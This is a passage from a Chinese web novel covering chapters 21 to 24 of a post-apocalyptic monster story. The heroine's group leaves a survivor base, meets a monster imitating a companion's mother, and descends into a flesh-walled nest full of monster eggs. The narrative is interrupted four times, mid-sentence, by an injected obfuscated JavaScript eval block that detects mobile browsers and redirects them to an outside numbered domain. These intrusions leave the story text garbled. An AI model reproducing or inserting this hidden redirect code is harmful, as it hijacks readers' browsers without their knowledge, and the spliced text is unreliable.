“那天,我们一行十来个人,开着两辆卡车和一辆用来开路的大G,去城里收集建材。”一阵长久的沉默后,刘春生艰难地开了口,“我们这个小队几乎每天都会出门搜集物资,队伍里个个都是杀怪物的好手,所以谁也没把这次任务当回事。一开始确实什么都没发生,虽然招惹上了几堆怪物,但都有惊无险地解决掉了……但就在我们装满了卡车、准备往回赶的时候,突然感觉到地面开始震动——” 他喉结动了动,眼眶发红,“我们以为地震了,于是赶紧把车往空地上开,但已经来不及了——楼房、小巷、下水道……从各种各样的地方里,一下子涌出了大堆大堆、多到难以想象的怪物,几乎把整条马路填满了!事情发生得太突然,大部分兄弟还在车外头,一瞬间就被拖进了怪群里面,两辆卡车载货太多,上面还爬满了怪物,根本踩不动油门……只有我开的那辆大G马力还算充足,一路碾着怪物冲出来了。” “那时候我太害怕了,一时慌了神,只顾着自己逃跑……”几乎要被沉重的负罪感压垮,刘春生一拳砸在地板上,痛哭出声,“我**的就是个逃兵!” “别这么说,就算你当时回去了,也只能送死,没有任何意义。”邓华安慰他,“面对数量如此庞大的敌人,任何人都无能为力。” “除此之外呢?”黎望舒皱眉,“怪潮聚集前难道没有任何预兆?你有没有见过什么不寻常的人或事?” “……没有。”擦了把眼泪,刘春生仔细回忆一番后,摇了摇头,“除去您那辆越野车以外,我们没见到任何陌生人,一切都和往常一样,大家搬运材料的时候还特意放轻了动作,没发出太大的声响。” 黎望舒陷入了沉思。 ……这样看来,怪物似乎并不是因为受到了刺激才聚集起来的,比起自然形成,更像是人为干涉后的结果。至于它们之后的去向,还拿不准究竟是跟着大春身后一路追来,还是一开始就目标明确地盯上了这个图书馆。 推断到这个地步,她几乎可以肯定,怪潮的形成与那道蓝光脱不开干系。但对方到底是出于什么样的目的聚起怪群、针对的又究竟是谁,她暂时还想不明白——其实不必深思,如果对方是冲着她来的,那么接下来应该还会有动作才对,只需等待就能得到答案。 无论如何,为了不相互拖累,她似乎不应该在这里继续停留了。 “关于怪潮,你有想到什么吗?”送走了刘春生,邓华看着黎望舒的神色几度变幻,忍不住试探地问。 “只是些推论罢了,没什么参考价值。”黎望舒回过神来,“邓姐,我们准备启程了,你接下来有什么打算?” “现在大家都觉得这里不安全了,所以打算远离城市,把基地搬到郊外的食品仓库附近……治标不治本,但也没有更好的法子。”邓华苦笑一声,“不过,经过昨晚那一遭,这里的所有人都不再畏惧怪物,学会了和它们战斗,这可能是唯一的好事了。” “祝你们一路平安。”她笑着伸出手,“新基地附近有一大片农田,说不定下次再见时,我们能端出些新鲜蔬果来招待你。” “好,再来的时候,我也会给你带些其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794260|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他地方的特产。”黎望舒握上她的手。 很快收拾好了东西,黎望舒背上背包,抬步向外走,郁仪等人紧跟在她后头;人生嘈杂的大厅一下子静了下来,忙碌着的人们都自发地停下了手中的动作,沉默地目送着他们。 大门边上,还躺着一个熟悉面孔——是被绑成粽子的唐超虎。他面如金纸,脑袋奄奄一息地耷拉着,似乎已经失去意识了。 顺着黎望舒的目光看过去,邓华这才想起来还有这么一个人,尴尬道:“呃……本来想把他丢到外面喂怪物,但忙里忙外地,一不小心就忘掉了。你们要不要把他带走,亲手处理?” “不要!”闻风藻一看到那张脸就犯恶心,黑着脸摇头,加快了脚步,“麻烦你们了。” 乌云已经完全散去,冬日午后的阳光不带一丝攻击性,倾泻而下,照在皮肤上暖洋洋的,十分舒适。图书馆门口被扫出了一条干净的路,怪物尸体大多已经彻底腐烂,混在两边杂色的雪堆中,并没有散发出特别大的异味。 他们的黑色越野车停在马路边上,车身上的血迹与灰尘消失不见,看起来光滑锃亮,似乎被精心擦洗过一番;黎望舒打开后备箱,微微一怔——里头除了原先的几个小油桶,又多了几个纸箱,将后备箱塞得满满当当的,里头全是饮用水与各种便携的高能量食物。 黎望舒下意识回头,这才发现图书馆门口不知何时聚起了一大堆人——邓华、邓伯同、刘春生、小水……还有许许多多个不知道名字,但曾经并肩作战过的眼熟面孔。 “祝你们一路平安——”见她回头,邓华用力挥手,话语中带着一丝不舍;她身边,邓伯同面色苍白,额上满是冷汗,被刘春生搀扶着才能勉强站立——他的右臂不见了踪影,肩膀的断面上缠着厚厚的绷带,上面隐约渗出了鲜红的血迹。 他面色严肃,抬起仅剩的左臂,庄严地向他们敬礼。 “谢谢!” “随时欢迎你们回来!” “我不会忘记你们的——” 有邓华带头,剩下的人们也忍不住喊出了声,或年轻、或苍老……各色声音混乱地重叠在一起,汇成了一句句感谢。 “闻学长,对不起!”小水哭得满脸都是眼泪,声嘶力竭地朝这边大喊,“我一直很后悔,真的、真的很对不起,我再也不会做这种事了……谢谢你们!” 闻风藻搭在车门上的手一僵,沉默两秒后,轻嗤一声,没有回头,径直坐入后座,“砰”一声甩上了车门。 “想哭就哭,不用忍着。”驾驶座上的杜蕊被感动得眼眶通红,还不忘吸着鼻子回头安慰他,“这里又没人会笑话你。” “……你好烦。”闻风藻压下鼻间涌起的酸涩,冷声回答。 笑着回眸挥了挥手后,黎望舒细细品味着胸中涌起的暖意,最后一个坐上了车。在众人的目送下,越野车缓缓发动,再一次向着东方启程。 22. 第 22 章 “好冷清啊。”安静的车厢里,杜蕊握着方向盘,突然感叹了一句。 黎望舒支着下巴,望着窗外的雪景发呆,还沉浸在方才的情绪中。冷不丁听到这样一句没头没尾的话,她略有些茫然地回头看去,“嗯?” “呃……我是说,外面变得好冷清,完全见不到活物。”接收到同伴莫名其妙的视线,杜蕊补充道:“让人想象不到,曾经这附近居然聚起过那么多怪物,铺天盖地的,多到让人觉得,这座城市好像都装不下它们。” 黎望舒深有同感地点头——正如杜蕊所说,雪中的城市看起来安宁又静谧,仿佛什么都没发生过似的,一切污秽都被覆盖在皑皑白雪之下。 “哎,你们说,那些怪物平时都躲在哪儿啊?”杜蕊问。 “可能都塞在下水道里头吧。”黎望舒想了想,“毕竟长得像章鱼,喜欢水也没什么奇怪的。” “嗯……”似乎想到了什么糟糕的画面,杜蕊的表情变得一言难尽,连忙甩了甩脑袋,试图转移话题,“那你呢,现在看到水池会有一头扎进去的欲望吗?” “要看水质如何。”黎望舒说,“我从小就喜欢水边,就算没长触手,遇见清澈的水池也会想扎进去玩一玩的。” “也是,毕业旅行的时候就是你第一个提出想去海边……没有参考价值啊。”杜蕊被勾起了好奇心,“喂,闻风藻,睡着了吗?” “干嘛。”闻风藻没好气地掀开眼皮。 “你现在对水有什么特别的情结吗?”杜蕊兴致勃勃地问。 “只在口渴的时候有。”随口敷衍了一句,闻风藻本想合上眼接着睡,视线却突然凝在了窗外某处。 “怎么了?”从后视镜里注意到他奇怪的表情,黎望舒顺着他的视线望去,却只看到了一片平平无奇的住宅区。 “……没什么。”闻风藻顿了顿,若无其事地重新闭眼,拇指却焦躁地按压起了自己的关节。沉默地听着前面二人闲聊了一会儿,他将指节掰得发出一声脆响,忍无可忍了似的,突然出声,“抱歉,能在这儿停一下吗?” 条件反射地,杜蕊猛地刹车,波及到了在后座睡着的郁仪——颠簸之下,他额头不偏不倚地磕上了怀中的剑柄,眉心处的一小片红痕在白皙皮肤上显得格外醒目。被起床气裹挟,郁仪朝前座投去冷飕飕的视线。 “对、对不起,我一时心急……”杜蕊干笑两声,从后视镜里看到了闻风藻解安全带的样子,“你要去哪?” “我想去看看刚刚经过的那片住宅区。”闻风藻顿了顿,语气低落,“……我母亲住在那里面。” “啊?怎么不早说!”杜蕊回头看了一眼,“有点远啊……你等一下,我调个头开回去。” “不用浪费油,走两步就到了。”闻风藻拉开车门,跳了下去,“各位不必跟来,我一个人去就行。” “那怎么行。”黎望舒追了出去。 “真的不用……”不敢回头去看,闻风藻闷头加快脚步,但脖子上突然传来冰冷的触感,一根触手转瞬间便缠住了他的脖颈——熟悉的窒息感上涌,他一下子停住脚步,僵在了原地。 “对不起,勒到你了?”一转眼的功夫,黎望舒就追到了他身后,担忧地揪住了他的后领,“但你也有不对的地方,没解释清楚就执意单独行动,很让人担心啊。” “……为什么是脖子?”可能是出于窒息,闻风藻满面通红。 “你很介意这个?我下次会换其他位置的。”谈话间,杜蕊把车倒了回来,黎望舒将他重新推进车厢内,“一个人行动太危险了,等会儿我跟你一起进去。” 闻风藻红着脸捂住脖子,含糊地嘟哝了一句什么,但谁都没有注意听——郁仪忙着向黎望舒表态,坚定地表示自己一定要跟在她身边;杜蕊不想一个人留在车里,于是也闹着要一起跟过去。 于是,一番折腾后,四个人齐齐整整地站在了一片高档别墅区的入口处。 “闻风藻,你家住在别墅啊。”望着眼前气派的大门,杜蕊惊叹道,“不愧是学美术的。” “不是我家,是我母亲家。”闻风藻强调,“我平时不住在这儿。” “嗯……妈妈的家不也是你家吗?”杜蕊没想明白,但也没过多纠结,“总之带路吧!” 但闻风藻却有些为难似的,犹豫着左右张望一番后,才迟疑地迈开了步子。 和外部壕气冲天的装潢不同,别墅区内部的氛围异常幽静,小路边上种满应季花木,鼻间满是腊梅和玉兰的幽幽香气。 “等等,这个地方刚刚好像走过了。”跟在闻风藻身后绕了大半圈,甚至撬开了几栋别墅的大门后,黎望舒终于忍不住问出了声,“你带着我们兜圈子?” “我也不想这样的!这边路太绕了,所有房子从外面看长得都差不多。”迟迟找不到目标不说,还要被身边人投以怀疑的视线,闻风藻愈发烦躁,“每次来这里都会迷路,所以我才想一个人找……不耐烦了就回车上等。” “我又没说要回去。”没等闻风藻松一口气,黎望舒又接着说:“……但你走得实在太慢了,需要我把你举起来吗?你只需要负责指路就好。” 郁仪皱起眉头,立刻接话:“你别碰他,让我来。” 身后传来杜蕊的喷笑声,闻风藻忍无可忍地打断了他们:“你们几个都闭上嘴!” 又绕了大半圈后,几人在一栋小楼门前停下脚步。 一路听着另外三人插科打诨,闻风藻心中那点紧张感早就被磨得一干二净了——他僵着一张脸,指向那栋平平无奇的二层别墅,肯定道:“就是这里。” “看起来和之前撬开的几栋没什么不同啊。”杜蕊皱了皱鼻子,“你确定?” “不一样的。有些东西,需要看到了才能回忆起来。”闻风藻眼神复杂,“……门没锁,我们进去吧。” 踏入房门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794261|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一股潮湿的霉气扑面而来,像是有段时间没有通风了;眼前是一间宽敞的客厅,装修风格温馨中透着几分时髦,墙壁上挂着超大尺寸的液晶屏,看得杜蕊倒吸了一口凉气。 闻风藻在一楼简单转了一圈后,便噔噔几步跑上了楼梯,但没等黎望舒跟上去,他便耷拉着肩膀、看起来有点失落地又下来了。 “楼上也没人。”他在沙发上坐下,伸手将茶几上翻倒的相框扶正了,盯着它叹了口气,“都过去这么久了,我本来也没抱多大期望。” ——照片中,一个女人侧坐在扶手椅上,长卷发披散在肩头,看起来与闻风藻有几分相似,目光锐利又充满自信,气场十足;一个看起来只有三五岁的小女孩扎着两条可爱的羊角辫,坐在女人的膝盖上,目光懵懂,一旁温文尔雅的男士牵着她的小手,鼻梁上架着金丝眼镜,对着镜头露出温和的笑容。 这是张看起来十分温馨的全家福——但奇怪的是,上面只有三人,并没有闻风藻的身影。 “这就是我妈妈,她身边的是我的继父,和我同母异父的妹妹……说来惭愧,我现在才知道这个妹妹长什么样子。”仿佛看出了黎望舒的疑惑,闻风藻低声解释,“我的亲生父亲是个烂酒鬼,在我很小的时候,妈妈就和他离婚了。” “继父对你不好?”黎望舒问。 “不,他是个很好的人。我妈是个工作狂,总是抽不出时间陪我,小学的时候,为我开家长会的一直是他。”闻风藻勾起嘴角,但那笑容怎么看都透着一股苦涩,“但我那时候很叛逆,初中上了寄宿学校之后,就再也没回来过……妈妈应该也对我失望了吧,自那之后就不怎么联系我了。” 黎望舒不知怎么安慰他,只好试着转移话题,“……你妹妹和你长得挺像,挺可爱的。” “的确。”闻风藻桃花眼微微眯起,又回到了平时笑呵呵的模样,“但你这句可爱是在夸她,还是在夸我?” “都有吧,又不冲突。”黎望舒随口道。 “嗯?”似乎对这个回答不满意似的,闻风藻拖长尾音,还想接着问,但视线一偏,猝不及防地对上了郁仪杀气腾腾的视线——他愣了一下,随即不闪不避地盯了回去,挑衅地扬起了眉毛。 “……!”郁仪猛地握紧了剑柄。 确认了房子里没有活人后,闻风藻离开得不带半分留恋,连那张全家福都没有带走。一行人沿着来时的路慢慢向外走,即将走出那扇气派大门时,黎望舒突然停下了脚步,回头望去—— “怎么了?”发现她没有跟上来,杜蕊疑惑地问。 黎望舒目光缓缓从平静的树篱间扫过,胸中隐隐地又冒出了一股焦躁感——刚刚,她察觉到背后有一道窥视的视线,一直跟随着他们几人。 但与怪潮中那道粘腻视线不同,这道目光饱含着恶意,打算将他们四人拆吃入腹似的,泛着毒蛇似的冰冷。 “……有人在跟踪我们。” 23. 第 23 章 听到这句话,几人悚然一惊,纷纷掏出武器,摆出了战斗姿态。 “你们两个待在这儿别动,我去看看。”刚走出两步,黎望舒又有些不放心,反悔道:“……算了,跟在我身后,别离得太远。” 杜蕊与闻风藻对视一眼,都听话地点头——就算黎望舒不这样说,他们也准备跟上去的。 但还没等黎望舒把将触手伸过去,树篱后边就转出了一个女人——她眼角生着几道细纹,一头棕色长波浪卷发松散地披在肩上,穿着居家丝绸睡衣,红唇微微挑起,露出了一个温柔的笑容。 这人有点眼熟——黎望舒刚生出这个想法,就听身后传来一声震惊的“妈”——她这才想起,面前的卷发女人,和全家福里闻风藻的母亲长得一模一样,气质上却有些微妙的不同,所以她才没能一眼认出来。 “妈?你怎么在这里。”闻风藻下意识放下了手中的长柄铁叉,瞪大了双眼,“纪叔叔和妹妹呢?” “他们都被怪物杀了。”卷发女人眼圈微红,单手压在胸口,一副泫然欲泣的模样,“风藻,妈妈只剩下你了。” 闻风藻面色一白,下意识后退一步,握紧了手中的铁叉。 “风藻,怎么了?”卷发女人轻声唤他,“到妈妈这儿来。” 黎望舒挡在闻风藻面前,冷眼打量卷发女人。 无论怎么看,这个女人都十分可疑——手无寸铁地出现在房屋外不说,还完全感受不到寒冷似的,身上只套着一件轻飘飘的睡衣,连鞋也没穿,光脚踏在雪中。 更重要的是,她的视线阴冷又充满算计,看向闻风藻时,不像在看心爱的儿子,更像是在打量一块美味的猪头肉。 但她毕竟是闻风藻的家人,即便生出了疑虑,黎望舒也不好干涉得太直接……总不能当着闻风藻的面,捏爆他母亲的脑袋。 “你是怎么活下来的?”担心闻风藻受骗,黎望舒冷声问道,“这段时间里又待在哪里?” “什么……你这是在怀疑我?看你和风藻那么亲近,我还以为你一定能理解他呢。”卷发女人看起来有些伤心,叹了口气,指向身后一栋爬满爬山虎的房子,柔声解释,“老公被吃掉的时候,我吓得六神无主,还好路过的好心人救了我。他实力特别强,现在和我一起住在那边的房子里,要是不信,我可以带你们去见他呀。” 耳边急促的喘息声渐渐平息,一只手搭上了黎望舒的肩膀——闻风藻借力向前踏了一步,脸上没什么表情,目光定在卷发女人身上,就要向那边走去。 “你看清楚!”黎望舒喝道,“那真的是你的母亲吗?” 闻风藻脚步一顿,没有应声。 黎望舒无奈,只好贴着地探过去两根触手,护在他左右。 “对,就是这样,我的好孩子……”随着闻风藻逐渐走近,卷发女人面上的笑容也逐渐扩大,稳操胜券了似的,又将目光投向后面的杜蕊,“那边的小姑娘,下巴那么尖,一定受了不少苦吧。来这边,阿姨家里有吃不完的好东西,给你炖鸡汤喝啊。” 杜蕊打了个冷战,默默往黎望舒身后缩了缩。 “我看起来有那么可怕吗……”卷发女人困惑地摸了摸自己的脸颊,很快地又放下了烦恼,喜悦地伸出手,摸向闻风藻的头顶,“好孩子,妈妈带你回家……嗯?” 笑容凝结在脸上,她低下头,还有点没回过神来——两根透明缎带似的触手从闻风藻的袖中伸出,交缠着缠上了她的脖子。 “和你不同,我的母亲闻莺……她从不会哭,也不会露出这样软弱的表情!你是什么东西、真正的闻莺在哪里!”见她不语,闻风藻又将触手缠紧了些,咬牙道,“不想被毒死的话,就回答我的问题!” “你认为自己足够了解她吗?明明很久没和她说过话了,不是吗?”撕下了温和的伪装,卷发女人捏住脖子上的触手,唇角勾起残忍的弧度,“被我一点点吃掉的时候,她的泪水可没停过啊。” “找死!”闻风藻双目通红,呼吸骤然变得急促,触手上荧光一亮,催眠能力与神经毒素一齐发动,向卷发女人袭去;但卷发女人毫无所觉似的,竟然丝毫没受影响,一把拉开了那两条触手,狞笑着向闻风藻扑去。 “没有用……怎么会!”闻风藻呼吸一滞,下意识举起手中铁叉就要向前刺,但目光触到那张熟悉面孔时,手又不受控制地僵在了半空——待他终于回过神来,匆匆向后退去时,已经来不及避开了。 千钧一发之际,黎望舒留下的两根触手及时刺出,勒住了卷发女人的脖颈与腰部,止住了她的冲势;郁仪几步赶来,闪电般出剑,将她斩成了一地肉块。 “哈……哈……”闻风藻愣愣地盯着地上双目圆睁的头颅,急促地喘着气,双腿发软,跪在了地上,眼中蓄起泪水,却强撑着没让它们落下来。 “别看了。”黎望舒面露不忍,伸手强行捂住了他的眼睛,身后却突然传来一阵笑声——她一惊,转头望去,只见刚刚还分散着铺了一地的肉块,此时已经重新聚在了一起,但大腿接到了头顶上,半张脸反而和手臂接在了一起,连接得牛头不对马嘴,血淋淋的模样令人心生不适,活脱脱一个缝合怪。 “想见闻莺,就跟我过来。”缝合怪紧贴手臂的半张红唇轻轻开合,留下了这么一句话后,就被身后一根深绿藤条向后拖去,飞速钻进了后方满是爬山虎的二层别墅中。 谁也没有追上去——很明显,那是个陷阱。 三人的目光汇聚到了闻风藻身上——他下巴上挂着泪滴,轻轻拨开黎望舒覆在他眼睛上的手,眯眼朝缝合女人消失的方向看了一眼,摇摇晃晃地站了起来。 “……黎姐。”闻风藻闭了闭眼,语气染上了浓重的疲惫,“我得去看看,你们不用跟上来了。” “那怎么行。”黎望舒平静地回答,“我答应过,会保护你的。” “那是我的家人,你们没必要冒这个险……”闻风藻心灰意冷地苦笑一声,似乎还想说些什么,但领子却突然被一把揪住,提了起来,“呃——” “这可由不得你。”黎望舒直视着他充满愕然的棕眸,冷静道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794262|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“听好了,我不是为了你,而是为了完成自己的诺言。我的腿长在自己身上,就像我不会干涉你的决定那样,你也没有权力替我做决断,我该去哪里、不该去哪里,一切只出于我自己的意志。” 仿佛真的认为这一切都是理所应当似的,她琥珀色的瞳孔里并没有多么激烈的情绪,但闻风藻却从她冷淡的视线中感受到了一股热意,岩浆似的,笔直地烫到了他的心底,让他的心脏也跟着一起缓缓升温。 “望舒,虽然很不想破坏气氛……”杜蕊弱弱地出声,“但你现在已经没有腿了。” “你说得对,但意思到了就行。”强势褪去,黎望舒松开了闻风藻的衣领,又变回了平时的模样,冲他笑了笑,“别哭了,我不是去送死的,你也一样。” “就是啊,你对我们也太没信心了吧。”杜蕊附和道,就连一向与他不对付的郁仪,此时也没有出声反驳,而是无言地站在前方,随时准备出发——闻风藻擦了把眼泪,将感激之情埋在心底,不再纠结。 缝合怪藏身的那栋二层别墅,外观看起来平平无奇,白墙上爬满绿油油的爬山虎,和别墅区内的大多数房子长得差不多,他们一行人迷路时甚至数次从旁边经过,但当时并没有察觉到什么危险气息。 黎望舒轻轻推开了最外边的栅栏门,在门口的小花园里扫视一圈——狭窄的石子路边,各色耐寒花木密密匝匝地生长着,大多数还结着花苞,只有零星几朵郁金香开得娇艳。 想起了缝合怪身后那根深绿藤条,黎望舒触手一卷,面不改色地将花枝连根拔起,丢向栅栏外,轻声提醒:“怪物可能拥有控制植物的能力,都小心些,别接近那些枝条。” 身后传来几声应和,很快,花园内便只剩下了一片光秃秃的泥地。 别墅大门虚掩着,被风带出了一条窄缝,里头一片黑暗。 并没有贸然上前,黎望舒隔着一段距离,伸长触手轻轻一推,那扇门便“吱呀”一声,向内敞开了——屋内窗帘拉得严实,从门口打入的自然光只照亮了一小片区域,隐约能看到地毯上暗红色的污渍,更深处仍是一片昏暗,看不真切。 黎望舒站在门口打量片刻,并没有看到缝合怪的身影,想来应该躲在更深的地方……它这是铁了心要把他们几个引诱进去。 紧盯着门内的动静,黎望舒抽出登山包侧边的手电筒,向后打了个手势,缓缓向前走去。刚一踏入门槛,鼻间就传来了浓郁的血腥味,还混着一股难以形容的腥臊味,杜蕊猝不及防地吸入了一大口污浊空气,被恶心得干呕出声。 这里的房屋布局看起来与闻风藻家差不多,进门便是客厅,两侧走廊不深,一眼就能望到底,正前方则是旋转着通往二楼的楼梯……等等。 察觉到违和之处,黎望舒拧起眉毛,手电光直直地打向楼梯的右侧——那里多出了一个半人高的门洞,深红色的楼梯蜿蜒向下,看不到底,就连墙壁也泛着恶心的肉粉色。 “不对。”闻风藻也看到了那条诡异楼梯,立刻出声,“这里不应该有地下室的。” 24. 第 24 章 “……也就是说,那只缝合怪只可能藏在这底下。” 站在恶心的肉粉色阶梯前,黎望舒用手电向下照了照,心情沉重地得出了这个结论——保险起见,他们四人已经将楼上楼下搜了个遍,但到处都没有发现缝合怪的踪迹。 将这道阶梯放在探索序列的最后,也是有理由的——不是因为畏惧危险,而是因为它的气味。 只是站在门洞前,鼻腔里就充满了其中散发出的浓重腥臊味,带着粘腻的潮气,还有另一种闻了之后让人心中发痒的气味……黎望舒甚至不愿去想象,底下究竟是怎样一副光景。 “真的要下去吗……比起这里,我宁愿去钻下水道。”杜蕊捏着鼻子,面色发青,瓮声瓮气地抱怨,“下次路过市区,一定要记得带两箱口罩回来。” “忍忍就会习惯的……大概。”黎望舒面色也不太好看。 身后传来枝叶的沙沙轻响,随后便是刀刃的破空声与枝条落地的响声。甚至用不上回头,黎望舒也知道发生了什么——缝合怪再一次操控爬山虎攻击他们,转瞬间又被郁仪斩落了。 在二楼进行搜索时,他们已经击退过几次这样的攻击了——尽管在缝合怪的操控下,爬山虎的叶片边缘变得锋利,枝条也坚韧了不少,但它们的对手是剑风凌厉的郁仪,没有一枝叶片能突破他的防御。到最后,整栋房子上攀附着的爬山虎几乎被斩了个干净。 “别玩叶子了!”耐心被消磨殆尽,黎望舒不耐烦地朝楼梯底下喊了一声:“能不能光明正大地出来打一场,总是使些见不得人的小把戏,你们的老大没教过你什么叫尊严吗?” 几乎就在下一秒,底下猛然爆发出了气急败坏、听起来有几分沉闷的尖叫声:“不许你侮辱我们伟大的、高贵的、全知的女皇陛下!有本事你们就下来啊!” “……?”黎望舒愣住了——她本来只是心情不佳,随口一激,没想到缝合怪会给出这样的回应。 怪物们的首领被称为女皇陛下?不,在此之前,她还是第一次听说,这群怪物拥有一个能被称之为“首领”的存在。 “什么女皇陛下,只是你临死前的幻想吧。”带着试探的意味,黎望舒又一次高声喊道,“要是真有这样一只怪物,你就把它牵出来溜溜!” 然而这一次,黎望舒的激将法并没有生效——仿佛意识到了自己的失言,又像是在诱惑他们下去似的,底下没有传出任何回应。 黎望舒与郁仪交换了一个眼神——后者双眉紧锁,似乎也非常疑惑——然后定了定神,打了个手势,向那道肉粉色入口钻去。 刚一压上肉色阶梯,触手底部立刻传回了柔软的触感,一部分触手甚至微微陷了下去,被软绵绵的阶梯包裹。那感觉太过恶心,黎望舒触电似的收回了触手——压力被撤回的同时,阶梯上的凹痕也极富弹性地变回了原先的样子。 这种触感……简直就像是真实的血肉一样,这条楼梯到底通向什么地方? 注意到她难看的脸色,郁仪贴心地问:“换我走在前面如何?” “……不必。”压下那股恶心感,黎望舒提醒道,“楼梯是软的,都小心点,别滑倒了。” 在杜蕊不时响起的干呕声中,一行人一个接一个地,都踏上了下旋的楼梯。最外面的门洞仅有半人高,里面的空间更是狭窄,天花板低低地压在头顶上,黎望舒只能扶着墙壁,弯下腰慢慢下行。 ……连墙壁都是柔软的血肉触感,前后一片黑暗,简直就像钻进了巨大生物的体内,让人不由自主地生出不安。 “等等,墙壁是不是在动?”后头突然传来杜蕊的声音。 “别疑神疑鬼的。”这是闻风藻底气不足的呵斥。 “是、是真的!它又动了!”杜蕊惊叫,“不信你摸摸。” “别碰墙壁了,我把触手伸过去,你扶着它。”狭小的空间里,连转头都变得极为困难,黎望舒艰难地转了转肩膀,正打算回头查看,右手下的墙壁突然微微一动,生出了一个突起,似乎有什么东西正在底下游动。 黎望舒下意识收拢五指,按住了那个突起,然后用力往外一拽——伴着一片被撕下来的血肉,手心里多出了一条细长的深蓝色“水滴”,形状有点像橙子果肉,表皮软弹又微微透明,手电光打上去时能看到里头有小小的黑点在游动。 似乎感觉到了此处的血肉被撕裂,底下骤然传来了愤怒的尖啸,整个通道大肠似的,开始剧烈蠕动。 “怎么回事!”地面一阵颠簸,杜蕊差点面朝下摔在地上,半个身子挂在黎望舒的触手上,惊恐叫道,“墙壁好像在收缩……我不要被压成肉饼啊!” 两侧的墙壁缓缓向中间挤压,生存空间逐渐缩小,但此时已经来不及退出通道了——当机立断,郁仪侧身背靠墙壁,用膝盖顶住面前压过来的肉墙,稳住身体后,斜着抽出剑刃,一剑扎进肉墙之中,手腕一转,切下了一大片血肉。 “嗷——”痛苦的吼叫声响彻整个通道,尖锐又刺耳,刺得人耳膜生疼。怕了似的,周围的墙壁不再蠕动,又变回了最初静悄悄的模样。 黎望舒反握着手电筒,微微回头看去——墙壁上多了一大块缺口,断面呈现深红色,但并没有流血;被切下来的那块肉软趴趴地摊在地上,上面密密麻麻地生长着一片管道,里头嵌着一条条深蓝色的透明“果冻”,和她手里的那一条长得一模一样。 “唔……好恶心。”杜蕊面色发青,又捂住了口鼻。 “……这是卵。”没等几人发问,郁仪便面色凝重地捡起一颗深蓝果冻,观察一番后,沉声开口:“怪物的卵。” “什么?”黎望舒惊讶之下,没控制好力道,一下子将手中的深蓝果冻捏爆了,蓝色的汁液从指尖滴落。 “底下的东西应该是一种被称为虫母的怪物。”郁仪说,“它们自身攻击力不强,但拥有非常强大的生殖能力,能够孵化出成百上千的怪物,一般在地下筑巢……放着不管的话,整座城市都会被它生产出的怪物吞噬。” “这么多卵,最后都会变成怪物?墙里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794263|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面不会塞满了卵吧。”杜蕊声音尖锐,“怪不得怪潮那么源源不绝,原来源头就在这么近的地方!” “那……那我妈妈又是怎么回事?”闻风藻面色发白,“虫母为什么要变成她的模样。” “那是虫母的诱饵,只是借用了某个猎物的形态,本质上是个肉块。它的本体无法移动,藏在巢穴的最深处。”郁仪顿了一下,轻轻吸了口气,接着说:“虫母消化猎物的速度很快,我很抱歉,你的母亲大概率已经……” “不必再说了……我明白。”闻风藻打断了他,咬牙道,“眼下更重要的是,要怎么将它杀掉。” “只需深入巢穴,斩杀本体,余下的怪物卵失去营养供给,活不了多久。”郁仪说,“虫母会将成体怪物赶出巢穴,所以巢穴里一般只会出现卵和脆弱的幼生体,算不上危险。” “走吧,必须快点除掉它。”黎望舒冷声下了结论。 趁着虫母还算安分,几人加快速度向下冲去,很快便来到了楼梯的底端,空间变得开阔起来——映入眼帘的是一个巨大的深红肉腔,腔壁上挂着一串又一串湿漉漉的蓝卵,密密匝匝地挤在一起,个头比墙壁里的卵大了几圈,里头的黑点已经能看出怪物的雏形,微微颤动着,似乎快要孵化出来了。 地面积了一层淡绿粘液,踩进去时能没过脚踝,拔出时有粘稠的拉扯感;肉腔顶端还在持续不断地分泌粘液,积成一团后就会藕断丝连地掉下来,啪嗒一声砸向地面的粘液池,融进其中。 总算不必再弯腰行走,杜蕊抻了抻酸痛的腰部,探头望了一眼深绿粘液,迟疑道:“这东西能碰吗?” “试试就知道了。”黎望舒面不改色地插了根触手进去,“没什么感觉,应该可以。” 